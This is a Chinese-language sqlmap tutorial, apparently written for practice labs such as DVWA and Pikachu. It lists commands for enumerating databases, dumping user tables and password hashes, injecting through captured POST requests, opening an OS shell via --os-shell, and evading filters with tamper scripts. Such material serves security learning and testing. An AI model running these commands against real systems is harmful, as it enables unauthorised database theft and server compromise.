sqlmap

SqlMap详解

查看所有参数

sqlmap -h
sqlmap -hh	# 显示全部

sqlmap --update  # 更新命令

一、基本使用参数

-u :目标的URL地址

sqlmap -u "url"

-d:直接连接数据库

sqlmap -d "mysql://root:root@127.0.0.1:3306/dvwa"

-m :将多个URl保存在文本中,从文本中获取多个URL

--cookie:cookie值,用于登录

sqlmap -u "URL" --cookie="PHPSESSID=mrdvk1n5ccqgj0bbjqbjki37kn"
--random-agent:设置随机的HTTP User-Agent

信息获取

sqlmap -u  "URL" --banner  # 查看数据库版本信息
sqlmap -u  "URL" --current-user  # 查看当前的用户
sqlmap -u  "URL" --is-dba  # 查看当前用户是否为管理权限
sqlmap -u "URL" --users  # 列出所有管理用户
sqlmap -u "URL" --dbs  # 查询当前用户下的所有数据库
sqlmap -u "URL" --current-db  # 获取当前网站数据库的库名
sqlmap -u "URL" -D dvwa --tables  # -D 数据库名 --tables:查询指定数据库下的所以表名
sqlmap -u "URL" -D dvwa -T users --columns  # 获取指定表下的所有字段
sqlmap -u "URL" -D dvwa -T users -C "user,password" --dump  # 获取字段内容
sqlmap -u "URL" --passwords  # 列出数据库用户的密码

二、post方式注入

三种注入方式

1、sqlmap结合burpsuite

用burp抓包,将抓到的数据包保存到文件中“post.txt”

POST /vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.31.211:48882
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://192.168.31.211:48882
Connection: close
Referer: http://192.168.31.211:48882/vul/sqli/sqli_id.php
Cookie: PHPSESSID=dvk1gp3cpdr5judk38csctoe0e
Upgrade-Insecure-Requests: 1

id=4&submit=%E6%9F%A5%E8%AF%A2

使用命令加载这个文件

sqlmap.py -r "D:\\post.txt" -p “id” --dbs
# -r参数:加载一个文件
# -p参数:指定参数

2、sqlmap自动填写表单

命令如下

sqlmap.py -u "http://pikachu/vul/sqli/sqli_id.php" --forms --dbs
# --forms 在目标URL上解析和测试表单,出现选项,直接默认按回车即可

3、指定表单注入

抓包可以看到注入点在:id=2&submit=%E6%9F%A5%E8%AF%A2

--data参数:--data=DATA 指明参数是哪些

sqlmap.py -u "http://sqli_id.php" --data="id=2&submit=%E6%9F%A5%E8%AF%A2" --dbs

三、高级参数注入

--level:level有5个等级,默认等级为1,进行Cookie测试时使用--level 2 ,进行use-agent或refer测试时使用--level 3 ,进行 host 测试时使用--level 5

--is-dba:判断是否是数据库管理员

--sql-shell:运行自定义SQL语句

注意:只能使用select语句

--delay:设置多久访问一次参考: https://www.cnblogs.com/12377393.html

--delay 10  # 每隔10秒请求一次

--os-shell:参考: https://www.cnblogs.com/zzjdbk/p/13951047.html

sqlmap -u "URL" -p "name" --os-shell
(1)网站必须是root权限
(2)攻击者需要知道网站的绝对路径
(3)GPC为off,php主动转义的功能关

-m:扫描多个url

sqlmap -m list,txt    # url列表文件
# 多个URL保存到一个文本文件当中(list.txt)

四、注入脚本的使用

--tamper:使用脚本

语法:--tamper ["脚本名称"]